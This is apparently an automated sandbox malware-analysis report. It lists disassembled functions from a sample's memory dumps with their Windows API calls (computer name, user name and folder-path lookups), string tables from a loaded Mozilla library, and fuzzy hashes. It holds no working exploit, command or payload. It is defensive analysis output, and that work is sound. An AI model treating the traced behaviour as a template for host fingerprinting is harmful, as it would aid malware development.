Function 00D38D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00D21B54,?,?,00D4564C,?,?,00D40E1F), ref: 00D38D9F

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 46c3baa16b0119053623b382921b448f2c08456cc2feee6ef3b9fb70ad378bc3
Instruction ID: 5c188690cea981125513788e3ec80598f22a773f4f8f9e4625076cfeb9adab0b
Opcode Fuzzy Hash: 46c3baa16b0119053623b382921b448f2c08456cc2feee6ef3b9fb70ad378bc3
Instruction Fuzzy Hash: B1F0A571D0020CEFCB04EFA8E5596DCBB74EB10320F108199E8666B2D0DB749A55EFA1

Function 00D38DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 8d603ade4e103d95294828044b9223da8a4a9933866f64b891246fb8963c4d01
Instruction ID: e2c7aba4d3c1e3bf9e34bcef0688110dedd415c491f76950893d33707e010c36
Opcode Fuzzy Hash: 8d603ade4e103d95294828044b9223da8a4a9933866f64b891246fb8963c4d01
Instruction Fuzzy Hash: 49E01A71A4034C6BDB91EB94CC96FAE737CDB44B01F004295BA0C9B1C0DE70AB858FA1

Function 00D21190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00D378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D37910
Part of subcall function 00D378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D37917
Part of subcall function 00D378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D3792F

Part of subcall function 00D37850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D211B7), ref: 00D37880
Part of subcall function 00D37850: RtlAllocateHeap.NTDLL(00000000), ref: 00D37887
Part of subcall function 00D37850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D3789F

ExitProcess.KERNEL32 ref: 00D211C6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 213b51c0706c5af75134c8075bef27c11f86f902ae2e8a787af6ba55b1b75987
Instruction ID: 89bdd511422fbfa8df5d4e031c42376eb0931af6307e9f8a6da42eb1cf275a5b
Opcode Fuzzy Hash: 213b51c0706c5af75134c8075bef27c11f86f902ae2e8a787af6ba55b1b75987
Instruction Fuzzy Hash: 0AE012B591430D53CB1073B4BC0AB2A329CDB24349F080425FA05E2112FAA5F810AA76

Function 00D38E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D38E52

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 2c8e64c5967920d48b2979f98f882c22a93a9b80711f6066505649ab5546740f
Instruction ID: 16a3642f27323cff130635b4ce1c2a65b9f2f22071e4def17f1d281f50f285a3
Opcode Fuzzy Hash: 2c8e64c5967920d48b2979f98f882c22a93a9b80711f6066505649ab5546740f
Instruction Fuzzy Hash: 2C01FB31A04208EFCB04CF98C5857AC7BB1EF04708F288088F9156B350C7769E84EB95

Non-executed Functions

Function 6C665440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
GeckoMain, xrefs: 6C665554, 6C6655D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
a.8/, xrefs: 6C664C0F, 6C66544F
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
[I %d/%d] profiler_init, xrefs: 6C66564E

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$a.8/
API String ID: 3686969729-4135430077
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

a.8/, xrefs: 6C666C8F
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$a.8/$wintrust.dll
API String ID: 3256780453-158920808
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 85.6, APIs: 36, Strings: 11, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

a.8/, xrefs: 6C690DE2
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
